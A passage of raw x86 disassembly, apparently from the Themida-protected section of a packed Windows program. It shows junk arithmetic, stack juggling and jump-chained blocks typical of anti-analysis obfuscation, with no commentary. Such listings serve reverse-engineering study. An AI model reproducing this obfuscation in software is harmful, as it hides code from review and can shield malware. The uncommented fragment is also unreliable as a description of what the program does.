; Themida_:005AFC5Bj
xor esi, [esp]
jmp loc_5AEB05
; ---------------------------------------------------------------------------
loc_59DDF3: ; CODE XREF: Themida_:0059C446j
pop ebx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A2F2D
; ---------------------------------------------------------------------------
loc_59DE02: ; CODE XREF: Themida_:005A1CE0j
xor eax, 0E2ABFFF6h
jmp loc_5A09BF
; ---------------------------------------------------------------------------
loc_59DE0C: ; CODE XREF: Themida_:0059DCC1j
add eax, esi
pop esi
jmp loc_5AE65C
; ---------------------------------------------------------------------------
loc_59DE14: ; CODE XREF: Themida_:005A1811j
pop edi
push 376Eh
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], esi
push edx
push 53A174F1h
jmp loc_59F739
; ---------------------------------------------------------------------------
loc_59DE40: ; CODE XREF: Themida_:005A541Fj
mov ebx, 6A421636h
shr ebx, 3
jmp loc_5AF18B
; ---------------------------------------------------------------------------
loc_59DE4D: ; CODE XREF: Themida_:005989E1j
; Themida_:005AF0C5j
pop ebp
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push ebx
push small 7E6Eh
pop bx
jmp loc_5A67F4
; ---------------------------------------------------------------------------
loc_59DE67: ; CODE XREF: Themida_:005ACFB9j
mov ebx, 489B36BFh
add ebx, 39AB1E8Fh
xor ebx, 37D155E0h
sub ebx, 0B59700AAh
jmp loc_59B9EF
; ---------------------------------------------------------------------------
loc_59DE83: ; CODE XREF: Themida_:005AE04Bj
add esp, 4
push edi
mov edi, esp
push edx
mov edx, 4
jmp loc_598A49
; ---------------------------------------------------------------------------
loc_59DE97: ; CODE XREF: Themida_:005AB35Fj
xor edx, 77BA378Bh
add ebx, edx
jmp loc_599771
; ---------------------------------------------------------------------------
loc_59DEA4: ; CODE XREF: Themida_:0059C38Fj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
jmp loc_59A937
; ---------------------------------------------------------------------------
loc_59DEC1: ; CODE XREF: Themida_:005A0882j
push dword ptr [esp]
pop eax
push edi
sub esp, 4
push esp
pop dword ptr [esp]
push edi
mov edi, 4
sub dword ptr [esp+4], 730A0674h
add [esp+4], edi
add dword ptr [esp+4], 730A0674h
pop edi
pop edi
add edi, 4
jmp loc_59A779
; ---------------------------------------------------------------------------
loc_59DEF4: ; CODE XREF: Themida_:005ABD7Bj
sub esp, 4
mov [esp], esi
jmp loc_5A6FFB
; ---------------------------------------------------------------------------
loc_59DF02: ; CODE XREF: Themida_:0059D70Ej
; Themida_:0059E941j
add ebp, 0E321D60h
jmp loc_5ADC36
; ---------------------------------------------------------------------------
loc_59DF0D: ; CODE XREF: Themida_:0059F3B5j
push ebx
push eax
jmp loc_5A5E29
; ---------------------------------------------------------------------------
loc_59DF14: ; CODE XREF: Themida_:0059D29Fj
; Themida_:005A758Ej
push 321Dh
mov [esp], ebx
mov ebx, 26AC2FFCh
jmp loc_5A3986
; ---------------------------------------------------------------------------
loc_59DF26: ; CODE XREF: Themida_:005A716Ej
; Themida_:005A74A6j
push ebx
mov ebx, 61D74EF5h
and edx, ebx
pop ebx
add edx, 0FFFFFDD4h
jmp loc_59D05C
; ---------------------------------------------------------------------------
loc_59DF3A: ; CODE XREF: Themida_:00599451j
xchg esi, [esp]
pop esp
jmp loc_5ADA74
; ---------------------------------------------------------------------------
loc_59DF43: ; CODE XREF: Themida_:0059F885j
pop esp
jmp loc_5A098E
; ---------------------------------------------------------------------------
loc_59DF49: ; CODE XREF: Themida_:0059CECEj
add edx, 7A3E3D61h
pop esi
jmp loc_5ABDED
; ---------------------------------------------------------------------------
loc_59DF55: ; CODE XREF: Themida_:00599AE5j
; Themida_:0059E338j
add esp, 4
add ebx, ebp
jmp loc_59C73D
; ---------------------------------------------------------------------------
loc_59DF5F: ; CODE XREF: Themida_:005A15C4j
xchg ebx, [esp]
pop esp
jmp loc_5A6F6B
; ---------------------------------------------------------------------------
loc_59DF68: ; CODE XREF: Themida_:005AE3E6j
add esp, 4
jmp loc_5A29C8
; ---------------------------------------------------------------------------
loc_59DF73: ; CODE XREF: Themida_:0059C103j
neg edx
add edx, 6580E9B4h
add ebx, edx
pop edx
pop edi
xchg ebx, [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59DF8E: ; CODE XREF: Themida_:005A5E2Fj
jmp loc_59F063
; ---------------------------------------------------------------------------
loc_59DF93: ; CODE XREF: Themida_:005A499Dj
xor esi, eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_599707
; ---------------------------------------------------------------------------
loc_59DFA9: ; CODE XREF: Themida_:005A70E3j
add eax, 61CAC119h
mov edx, eax
jmp loc_59A886
; ---------------------------------------------------------------------------
loc_59DFB5: ; CODE XREF: Themida_:005AEF6Cj
sub edx, 0EDEB65F6h
add ebp, edx
pop edx
or ebp, 67AF58C8h
push esi
mov esi, 98008115h
add ebp, esi
mov esi, [esp]
add esp, 4
sub edx, 568618EBh
add edx, ebp
jmp loc_5A4643
; ---------------------------------------------------------------------------
loc_59DFDF: ; CODE XREF: Themida_:005989C6j
; Themida_:0059C6B3j
sub esi, 50BC705Dh
add esi, 7F7F48C9h
mov ecx, [esp]
jmp loc_5A0AD1
; ---------------------------------------------------------------------------
loc_59DFF3: ; CODE XREF: Themida_:005A8FC5j
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5A9A81
; ---------------------------------------------------------------------------
loc_59DFFE: ; CODE XREF: Themida_:005A6EE7j
add esp, 4
xor esi, 6E482D66h
mov ecx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
add ebp, esi
pop esi
xchg ebp, [esp]
jmp loc_5ACF0B
; ---------------------------------------------------------------------------
loc_59E01E: ; CODE XREF: Themida_:005999D0j
mov eax, ecx
jmp loc_59D329
; ---------------------------------------------------------------------------
loc_59E025: ; CODE XREF: Themida_:005A9087j
sub eax, esi
pop esi
xchg eax, [esp]
jmp loc_59B041
; ---------------------------------------------------------------------------
loc_59E030: ; CODE XREF: Themida_:005AA004j
add edi, eax
mov eax, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_59E7F7
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push 1F49h
mov [esp], eax
push esi
mov esi, esp
add esi, 4
jmp loc_5A32D9
; ---------------------------------------------------------------------------
loc_59E06E: ; CODE XREF: Themida_:0059DC8Fj
mov edi, [esp]
add esp, 4
inc edx
sub edx, 484A5C40h
jmp loc_5AD982
; ---------------------------------------------------------------------------
loc_59E083: ; CODE XREF: Themida_:005A8625j
shr eax, 8
sub eax, 0A8C72984h
sub esp, 4
mov [esp], eax
add dword ptr [esp], 4D615FF9h
push dword ptr [esp]
jmp loc_5A5DD1
; ---------------------------------------------------------------------------
loc_59E0A0: ; CODE XREF: Themida_:005A92CEj
shl ebx, 4
not ebx
xor ebx, 8B63DD80h
or ecx, ebx
pop ebx
add ecx, 0DF35ECA4h
xor esi, ecx
pop ecx
add esi, 0EB509BAAh
or ebx, esi
jmp loc_599F25
; ---------------------------------------------------------------------------
loc_59E0C4: ; CODE XREF: Themida_:005A787Dj
pop ebx
add edx, 69C34A99h
jmp loc_59EA6D
; ---------------------------------------------------------------------------
loc_59E0D0: ; CODE XREF: Themida_:005AC469j
add edx, 4
add edx, 4
jmp loc_59E619
; ---------------------------------------------------------------------------
loc_59E0DE: ; CODE XREF: Themida_:005A669Ej
jmp loc_59FFED
; ---------------------------------------------------------------------------
loc_59E0E3: ; CODE XREF: Themida_:005AD0EEj
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], edx
push esp
pop edx
add edx, 4
jmp loc_5AA189
; ---------------------------------------------------------------------------
loc_59E0FA: ; CODE XREF: Themida_:005ACFA2j
add esp, 4
sub eax, 50D5325Ch
pop ecx
pop ebp
push edx
mov edx, 0E3409CBh
inc edx
jmp loc_5A837A
; ---------------------------------------------------------------------------
loc_59E113: ; CODE XREF: Themida_:00599782j
xor dword ptr [esp], 37A421DDh
pop ebx
xor ebx, 37A421DDh
jmp loc_59AB55
; ---------------------------------------------------------------------------
loc_59E126: ; CODE XREF: Themida_:005A54DCj
pop eax
push ecx
not byte ptr [esp+1]
pop ecx
mov dl, ch
pop ecx
not dl
jmp loc_59D25A
; ---------------------------------------------------------------------------
loc_59E137: ; CODE XREF: Themida_:005ACBE8j
or al, dl
pop edx
shr al, 6
jmp loc_5A14B0
; ---------------------------------------------------------------------------
loc_59E142: ; CODE XREF: Themida_:005A9B25j
pop ebp
neg ebp
ja loc_5AA16B
push ebp
jmp loc_5A2D59
; ---------------------------------------------------------------------------
loc_59E151: ; CODE XREF: Themida_:005AFE3Fj
push 30BCh
jmp loc_5A4E43
; ---------------------------------------------------------------------------
loc_59E15B: ; CODE XREF: Themida_:005AD636j
add ebp, 4
push 3CF4h
jmp loc_5A1DA7
; ---------------------------------------------------------------------------
loc_59E16B: ; CODE XREF: Themida_:0059CC1Bj
; Themida_:005AA7F9j
mov esi, [esp]
add esp, 4
push edi
mov edi, 4
add esi, 0E7F6AE7h
add esi, edi
sub esi, 0E7F6AE7h
pop edi
jmp loc_5A0A77
; ---------------------------------------------------------------------------
loc_59E18E: ; CODE XREF: Themida_:0059E519j
sub cl, 14h
jmp loc_5A45E0
; ---------------------------------------------------------------------------
loc_59E196: ; CODE XREF: Themida_:005A19ACj
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 4
sub eax, ebx
jmp loc_5A68E0
; ---------------------------------------------------------------------------
loc_59E1A9: ; CODE XREF: Themida_:005999B1j
mov dl, 69h
sub bl, dl
pop edx
add bl, 4
sub bl, al
sub bl, 4
push edx
mov dl, 64h
jmp loc_5A9B14
; ---------------------------------------------------------------------------
loc_59E1BE: ; CODE XREF: Themida_:005A58CBj
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E1C6: ; CODE XREF: Themida_:005A1666j
mov ebx, 68607FCCh
xor ebx, 5D13405Dh
jmp loc_5A0E4A
; ---------------------------------------------------------------------------
loc_59E1D6: ; CODE XREF: Themida_:005A15A4j
push 4A22h
mov [esp], edx
push 1B78h
mov [esp], ebp
push ebx
mov ebx, 3EED64A0h
mov ebp, 2C730B8Bh
add ebp, ebx
pop ebx
mov edx, 0AE13AD30h
sub edx, ebp
pop ebp
push edi
jmp loc_5AA123
; ---------------------------------------------------------------------------
loc_59E202: ; CODE XREF: Themida_:005A38A6j
sub ebx, 4085115Fh
push edi
mov edi, 1D533DADh
add ebx, edi
jmp loc_5A0E38
; ---------------------------------------------------------------------------
loc_59E215: ; CODE XREF: Themida_:005A0378j
xor eax, 77D5A16h
push eax
jmp loc_598F26
; ---------------------------------------------------------------------------
loc_59E220: ; CODE XREF: Themida_:0059AF19j
push esi
jmp loc_5A7E3D
; ---------------------------------------------------------------------------
loc_59E226: ; CODE XREF: Themida_:005A1E17j
push eax
mov eax, 2C91396Ah
xor eax, 7A664B68h
sub eax, 332B628Dh
neg eax
add eax, 1A5C0795h
sub ecx, eax
pop eax
add eax, ecx
pop ecx
jmp loc_59FA4F
; ---------------------------------------------------------------------------
loc_59E248: ; CODE XREF: Themida_:005A89EFj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5A6918
; ---------------------------------------------------------------------------
loc_59E25A: ; CODE XREF: Themida_:0059987Aj
; Themida_:005A9224j
add edx, ecx
pop ecx
or edi, edx
pop edx
push edx
mov edx, 92E24A1h
add edx, 57B8067Dh
add edx, 47936594h
add edx, 9540D747h
jmp loc_59ADC7
; ---------------------------------------------------------------------------
loc_59E27D: ; CODE XREF: Themida_:0059DDB6j
sub ecx, edx
sub ecx, 323F1637h
jmp loc_599EB2
; ---------------------------------------------------------------------------
loc_59E28A: ; CODE XREF: Themida_:005ABB29j
add esi, 4
add esi, 4
jmp loc_5AF38E
; ---------------------------------------------------------------------------
loc_59E298: ; CODE XREF: Themida_:005AFB94j
push ecx
push esp
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_59E7B2
; ---------------------------------------------------------------------------
loc_59E2A9: ; CODE XREF: Themida_:0059AA77j
mov ebp, 4
push ebp
mov ebp, 7B5A3BCCh
sub ecx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, ebp
add ecx, 7B5A3BCCh
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5AF0EE
; ---------------------------------------------------------------------------
loc_59E2E1: ; CODE XREF: Themida_:005AB99Aj
mov eax, [esp]
add esp, 4
push dword ptr [edx]
push ecx
mov ecx, 31422D66h
sub dword ptr [esp+4], 2F9A0FC6h
sub [esp+4], ecx
add dword ptr [esp+4], 2F9A0FC6h
pop ecx
pop ecx
jmp loc_5AF642
; ---------------------------------------------------------------------------
loc_59E30D: ; CODE XREF: Themida_:0059E6B4j
mov ebp, 3042F62h
jmp loc_59A985
; ---------------------------------------------------------------------------
loc_59E317: ; CODE XREF: Themida_:0059EC48j
; Themida_:0059FDE5j
pop ecx
jmp loc_5AF9AD
; ---------------------------------------------------------------------------
loc_59E31D: ; CODE XREF: Themida_:0059C37Dj
; Themida_:0059C396j
mov ebx, [esp]
add esp, 4
jmp loc_599849
; ---------------------------------------------------------------------------
loc_59E328: ; CODE XREF: Themida_:005A95E5j
mov [esp], edi
mov edi, 5B8D055Ch
push ebx
jmp loc_59CF07
; ---------------------------------------------------------------------------
loc_59E336: ; CODE XREF: Themida_:005A8A72j
not dh
jmp loc_59DF55
; ---------------------------------------------------------------------------
loc_59E33D: ; CODE XREF: Themida_:loc_59D5D5j
add eax, 46C67C25h
mov edi, eax
jmp loc_59EC27
; ---------------------------------------------------------------------------
loc_59E349: ; CODE XREF: Themida_:loc_5A42CBj
xor edx, 6AAB78A0h
jnz loc_5A6843
jmp loc_5A7E52
; ---------------------------------------------------------------------------
dec word ptr [esp]
pushf
loc_59E35F: ; CODE XREF: Themida_:005A81D5j
mov ecx, 14C42EDCh
inc ecx
xor ecx, 52305EAFh
shr ecx, 6
add ecx, 44D03FD9h
jmp loc_5A6393
; ---------------------------------------------------------------------------
loc_59E379: ; CODE XREF: Themida_:005A1497j
xchg ebx, [esp]
jmp loc_5A4458
; ---------------------------------------------------------------------------
loc_59E381: ; CODE XREF: Themida_:005A84ECj
; Themida_:005AA7BFj
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub ebx, 4
jmp loc_59FC69
; ---------------------------------------------------------------------------
loc_59E3A0: ; CODE XREF: Themida_:005A7661j
mov ecx, [esp]
jmp loc_5A8964
; ---------------------------------------------------------------------------
loc_59E3A8: ; CODE XREF: Themida_:005A98D5j
pop ebp
pop edx
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
inc word ptr [esp]
pushf
jmp loc_5A9BDB
; ---------------------------------------------------------------------------
loc_59E3C6: ; CODE XREF: Themida_:005A37EFj
xor ebx, eax
jmp loc_5AEA11
; ---------------------------------------------------------------------------
loc_59E3CD: ; CODE XREF: Themida_:005A9744j
push esp
pop dword ptr [esp]
push ebp
jmp loc_5AA069
; ---------------------------------------------------------------------------
loc_59E3D7: ; CODE XREF: Themida_:0059B039j
; Themida_:0059BD6Fj
and eax, 645290Ch
jmp loc_59E557
; ---------------------------------------------------------------------------
loc_59E3E1: ; CODE XREF: Themida_:00599476j
sub edi, 1
jmp loc_5A0F71
; ---------------------------------------------------------------------------
loc_59E3E9: ; CODE XREF: Themida_:005A01FDj
shr esi, 7
jmp loc_5A73CE
; ---------------------------------------------------------------------------
loc_59E3F1: ; CODE XREF: Themida_:005ABB21j
dec edx
and edx, 3AA84BCCh
jo loc_5AB379
push eax
mov eax, 410A65E2h
jmp loc_59BB80
; ---------------------------------------------------------------------------
loc_59E409: ; CODE XREF: Themida_:005AC009j
add ecx, 4
jmp loc_5A5B89
; ---------------------------------------------------------------------------
loc_59E414: ; CODE XREF: Themida_:0059BCD2j
add eax, 4
push ebp
mov ebp, 18DE187Bh
and ebp, 16837497h
not ebp
jmp loc_59DC6E
; ---------------------------------------------------------------------------
loc_59E42C: ; CODE XREF: Themida_:005A8958j
pop ebp
sub ecx, 5791D2Ah
add ecx, edx
add ecx, 5791D2Ah
jmp loc_59D542
; ---------------------------------------------------------------------------
loc_59E440: ; CODE XREF: Themida_:0059F6C0j
push ebp
mov ebp, 119561A2h
jmp loc_5AD670
; ---------------------------------------------------------------------------
loc_59E44B: ; CODE XREF: Themida_:005A6C1Aj
push 361Ch
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A7B29
; ---------------------------------------------------------------------------
loc_59E45C: ; CODE XREF: Themida_:005992DCj
add ebp, 61361196h
jmp loc_5AD6BF
; ---------------------------------------------------------------------------
loc_59E467: ; CODE XREF: Themida_:005A32E8j
mov ebp, 4
add [esp+4], ebp
pop ebp
pop eax
add eax, 4
push edx
push esi
jmp loc_59D459
; ---------------------------------------------------------------------------
loc_59E47E: ; CODE XREF: Themida_:005A85B2j
add ecx, 99EBEEC4h
jmp loc_5A5451
; ---------------------------------------------------------------------------
loc_59E489: ; CODE XREF: Themida_:005A3EF7j
add eax, 63B223FFh
add eax, edi
push ebx
mov ebx, 63B223FFh
sub eax, ebx
jmp loc_5A9B65
; ---------------------------------------------------------------------------
loc_59E49D: ; CODE XREF: Themida_:0059D05Fj
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub eax, ecx
sub eax, 69DE1033h
pop ecx
push esi
push 2FFD5F55h
pop esi
or esi, 5F2B0371h
inc esi
jmp loc_59C5D7
; ---------------------------------------------------------------------------
loc_59E4C4: ; CODE XREF: Themida_:005A0C20j
pop esp
push edi
mov edi, esp
jmp loc_5A4EB5
; ---------------------------------------------------------------------------
loc_59E4CD: ; CODE XREF: Themida_:005AF3EFj
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
add ebp, 4
jmp loc_5AEA7C
; ---------------------------------------------------------------------------
loc_59E4E7: ; CODE XREF: Themida_:005A71EBj
neg cl
jns loc_59E517
inc cl
jl loc_5AE273
sub cl, 14h
and al, 29h
pop edx
loc_59E4FD: ; CODE XREF: Themida_:0059EDA7j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_5AA155
; ---------------------------------------------------------------------------
loc_59E512: ; CODE XREF: Themida_:005A52CDj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E517: ; CODE XREF: Themida_:0059E4E9j
inc cl
jl loc_59E18E
sub cl, 14h
jmp loc_5AB7A4
; ---------------------------------------------------------------------------
loc_59E527: ; CODE XREF: Themida_:005AC434j
add esp, 4
jmp loc_5ADB51
; ---------------------------------------------------------------------------
loc_59E532: ; CODE XREF: Themida_:0059CD2Ej
add esp, 4
push edx
jmp loc_5A6D87
; ---------------------------------------------------------------------------
loc_59E53B: ; CODE XREF: Themida_:005A3FA2j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A1BEE
; ---------------------------------------------------------------------------
loc_59E54E: ; CODE XREF: Themida_:0059FECFj
xchg edx, [esp]
pop esp
jmp loc_5AC167
; ---------------------------------------------------------------------------
loc_59E557: ; CODE XREF: Themida_:0059E3DCj
sub eax, 3B8E236Ah
xor eax, 28A965A0h
jnz loc_5A38D2
jmp loc_5A5E21
; ---------------------------------------------------------------------------
add eax, edi
push dword ptr [esp]
pop edi
push ebx
loc_59E573: ; CODE XREF: Themida_:005ACB18j
pop edi
add edi, 4
push ebp
jmp loc_5A8C91
; ---------------------------------------------------------------------------
loc_59E580: ; CODE XREF: Themida_:005AA3B8j
not ecx
xor ecx, 0BA565F47h
jmp loc_5A2DCD
; ---------------------------------------------------------------------------
loc_59E58D: ; CODE XREF: Themida_:0059BE75j
; Themida_:005A6F1Aj
sub ebp, 4
jmp loc_5A6EF2
; ---------------------------------------------------------------------------
loc_59E595: ; CODE XREF: Themida_:005AE0B1j
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov edi, [esp]
add esp, 4
jmp loc_5A68F1
; ---------------------------------------------------------------------------
loc_59E5AE: ; CODE XREF: Themida_:005A68DBj
mov ecx, 78CC1217h
and ecx, 4C743206h
xchg edi, ecx
not edi
jmp loc_5AD5AA
; ---------------------------------------------------------------------------
loc_59E5C2: ; CODE XREF: Themida_:0059F369j
add eax, ecx
jmp loc_5A6680
; ---------------------------------------------------------------------------
loc_59E5C9: ; CODE XREF: Themida_:005A1B90j
; Themida_:005A2D42j
mov [esp+4], al
pop eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E5D3: ; CODE XREF: Themida_:005AFB24j
push cx
jmp loc_5AB230
; ---------------------------------------------------------------------------
loc_59E5DA: ; CODE XREF: Themida_:005A31BAj
push edi
mov edi, 29E30053h
xor edi, 343E0C79h
add edi, 8AB1D19Eh
xor esi, edi
pop edi
jmp loc_5AB265
; ---------------------------------------------------------------------------
loc_59E5F4: ; CODE XREF: Themida_:00598A1Aj
add ebx, 4
push edx
push ecx
mov ecx, 447E1411h
mov edx, 447E1415h
sub edx, ecx
jmp loc_5A8563
; ---------------------------------------------------------------------------
loc_59E60D: ; CODE XREF: Themida_:0059B39Bj
xor al, bl
jmp loc_5A98A9
; ---------------------------------------------------------------------------
loc_59E614: ; CODE XREF: Themida_:loc_5A7EF1j
jmp loc_59FB28
; ---------------------------------------------------------------------------
loc_59E619: ; CODE XREF: Themida_:0059E0D9j
xchg edx, [esp]
pop esp
xor edi, 2E91B888h
xor eax, edi
pop edi
push ebp
jmp loc_5A23DB
; ---------------------------------------------------------------------------
loc_59E62C: ; CODE XREF: Themida_:005A3A7Aj
mov [esp], esi
mov esi, esp
push ebp
mov ebp, 4
jmp loc_5AA22D
; ---------------------------------------------------------------------------
loc_59E63C: ; CODE XREF: Themida_:005AEEF7j
dec ebx
jg loc_5A6716
jmp loc_59D763
; ---------------------------------------------------------------------------
push eax
mov eax, 52CD203Ah
mov ah, 0EFh
loc_59E650: ; CODE XREF: Themida_:0059C65Bj
sub ebp, 7A22457Dh
add ebp, edi
add ebp, 7A22457Dh
jmp loc_5ADE3C
; ---------------------------------------------------------------------------
loc_59E663: ; CODE XREF: Themida_:005AA829j
sub ecx, 48EC46FDh
push edi
mov edi, 14012E5Dh
xor edi, 6BDC1AE4h
sub ecx, edi
jmp loc_59B100
; ---------------------------------------------------------------------------
loc_59E67C: ; CODE XREF: Themida_:005A0EBAj
mov edi, 13936D10h
neg edi
jmp loc_59EE49
; ---------------------------------------------------------------------------
loc_59E688: ; CODE XREF: Themida_:0059C05Cj
xor [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E692: ; CODE XREF: Themida_:0059C9D3j
neg ebx
shl ebx, 8
jmp loc_59AC12
; ---------------------------------------------------------------------------
loc_59E69C: ; CODE XREF: Themida_:005A3A94j
add ecx, 38C616FBh
mov esi, ecx
jmp loc_5A01FB
; ---------------------------------------------------------------------------
loc_59E6A9: ; CODE XREF: Themida_:005AB6C4j
sub eax, ebx
pop ebx
add eax, esi
add eax, 4DA06C4h
push ebp
jmp loc_59E30D
; ---------------------------------------------------------------------------
db 68h, 0A2h, 36h
dd 4890000h, 5348B424h, 0FFE483E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_59E6C9: ; CODE XREF: Themida_:0059FC59j
add esp, 4
xchg edi, [esp]
jmp loc_5A866F
; ---------------------------------------------------------------------------
loc_59E6D7: ; CODE XREF: Themida_:005A11E5j
push edx
jmp loc_5ACA87
; ---------------------------------------------------------------------------
loc_59E6DD: ; CODE XREF: Themida_:00599285j
add eax, 91C755E4h
add edi, eax
jmp loc_5ABAB9
; ---------------------------------------------------------------------------
loc_59E6E9: ; CODE XREF: Themida_:005A1660j
; Themida_:005A31F1j
sub ebp, 2C8902D9h
sub ebp, 966C9F93h
add edx, 12545338h
sub edx, ebp
sub edx, 12545338h
jmp loc_5AC306
; ---------------------------------------------------------------------------
loc_59E708: ; CODE XREF: Themida_:005AA5A3j
push ecx
push 676Fh
mov [esp], eax
push 0B3B695Bh
push dword ptr [esp]
pop eax
jmp loc_5A232D
; ---------------------------------------------------------------------------
loc_59E71F: ; CODE XREF: Themida_:005AF61Cj
push ebx
mov ebx, 4A1F7F91h
push esi
push eax
push 689F1DE9h
pop eax
neg eax
jmp loc_5A9D26
; ---------------------------------------------------------------------------
loc_59E734: ; CODE XREF: Themida_:005AE867j
pop bx
push edx
jmp loc_59B549
; ---------------------------------------------------------------------------
loc_59E73C: ; CODE XREF: Themida_:0059D1C9j
; DATA XREF: Themida_:005987F0o
push dword ptr fs:[edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59E744: ; CODE XREF: Themida_:005A93F2j
xor ebp, 60D9073Dh
jnz loc_5AF95C
inc ebp
jmp loc_5A730C
; ---------------------------------------------------------------------------
pop si
push edi
mov di, 2928h
mov bh, cl
loc_59E75F: ; CODE XREF: Themida_:0059D3EDj
add esp, 4
jmp loc_5AC71E
; ---------------------------------------------------------------------------
loc_59E76A: ; CODE XREF: Themida_:005A2013j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
push 2EF6h
jmp loc_5AB205
; ---------------------------------------------------------------------------
loc_59E78A: ; CODE XREF: Themida_:005A39FAj
add ebp, 4
xchg ebp, [esp]
pop esp
push 35C4h
mov [esp], ebp
mov ebp, 4
push 1EA4h
mov [esp], edx
mov edx, 42090643h
sub ebx, edx
jmp loc_5A9BFC
; ---------------------------------------------------------------------------
loc_59E7B2: ; CODE XREF: Themida_:0059E2A4j
push ebp
push ebx
mov ebx, 3DD06CD1h
jmp loc_5A685A
; ---------------------------------------------------------------------------
loc_59E7BE: ; CODE XREF: Themida_:0059B8BCj
; Themida_:005A9B6Aj
push edx
mov edx, 24h
push ebx
jmp loc_5A127E
; ---------------------------------------------------------------------------
loc_59E7CA: ; CODE XREF: Themida_:0059A190j
mov ebx, [esp]
add esp, 4
add edi, ecx
mov ecx, [esp]
jmp loc_59FDCD
; ---------------------------------------------------------------------------
loc_59E7DA: ; CODE XREF: Themida_:0059A980j
xor esi, ebp
pop ebp
jmp loc_599E7D
; ---------------------------------------------------------------------------
loc_59E7E2: ; CODE XREF: Themida_:0059FF47j
pop edi
push esi
mov esi, esp
add esi, 4
jmp loc_59944E
; ---------------------------------------------------------------------------
loc_59E7F1: ; CODE XREF: Themida_:0059ED89j
pop edi
jmp loc_5A5DFD
; ---------------------------------------------------------------------------
loc_59E7F7: ; CODE XREF: Themida_:0059E03Ej
pop dword ptr [esp]
mov esp, [esp]
loc_59E7FD: ; CODE XREF: Themida_:005A168Ej
; Themida_:005A7E25j
mov ebx, [esp]
jmp loc_5AD21D
; ---------------------------------------------------------------------------
loc_59E805: ; CODE XREF: Themida_:005A7B4Bj
jmp loc_5A2839
; ---------------------------------------------------------------------------
loc_59E80A: ; CODE XREF: Themida_:005A759Fj
push cx
mov ch, 25h
jmp loc_59F18F
; ---------------------------------------------------------------------------
loc_59E813: ; CODE XREF: Themida_:005AD9E6j
push 5D89h
mov [esp], ebx
mov ebx, esp
push 272Eh
jmp loc_5A2E94
; ---------------------------------------------------------------------------
loc_59E827: ; CODE XREF: Themida_:005A17E4j
; Themida_:005AF58Aj
xor ebx, eax
movzx ax, byte ptr [eax]
push 7842h
mov [esp], ebp
push esp
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
jmp loc_5AFBA7
; ---------------------------------------------------------------------------
loc_59E842: ; CODE XREF: Themida_:005A6409j
; Themida_:005AEDD5j
pop eax
sub edx, 5A186Dh
pop edi
sub eax, 61CB4229h
sub eax, edx
add eax, 61CB4229h
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_5ACF21
; ---------------------------------------------------------------------------
loc_59E862: ; CODE XREF: Themida_:0059B422j
or edi, 13E947BAh
jnb loc_5A7967
neg edi
js loc_5A3F8B
jno loc_5ADCBB
loc_59E87C: ; CODE XREF: Themida_:0059CF02j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5AD785
; ---------------------------------------------------------------------------
loc_59E894: ; CODE XREF: Themida_:00599CA7j
jnz loc_599E9F
add ebx, 553A6340h
jmp loc_5A2D20
; ---------------------------------------------------------------------------
pop eax
loc_59E8A6: ; CODE XREF: Themida_:005A2739j
push ebx
mov ebx, 1648499Ch
jmp loc_5ADABC
; ---------------------------------------------------------------------------
loc_59E8B1: ; CODE XREF: Themida_:005ADFC7j
push eax
mov eax, 0DC52F6F9h
jmp loc_5AF5DE
; ---------------------------------------------------------------------------
loc_59E8BC: ; CODE XREF: Themida_:005A39B9j
add edx, 4
push eax
mov eax, 4
sub edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
mov [esp], esp
push ebp
push eax
push 7FD100E0h
pop eax
dec eax
jle loc_5A36C5
shl eax, 7
shr eax, 7
sub eax, 1D100DBh
mov ebp, eax
jmp loc_59B6A9
; ---------------------------------------------------------------------------
loc_59E8F5: ; CODE XREF: Themida_:005A43C1j
neg cl
jmp loc_59AC63
; ---------------------------------------------------------------------------
loc_59E8FC: ; CODE XREF: Themida_:0059B27Dj
; Themida_:loc_5A793Cj
sub esp, 4
mov [esp], edx
push ebx
mov ebx, 7C571108h
mov edx, ebx
pop ebx
xor edx, 506A0018h
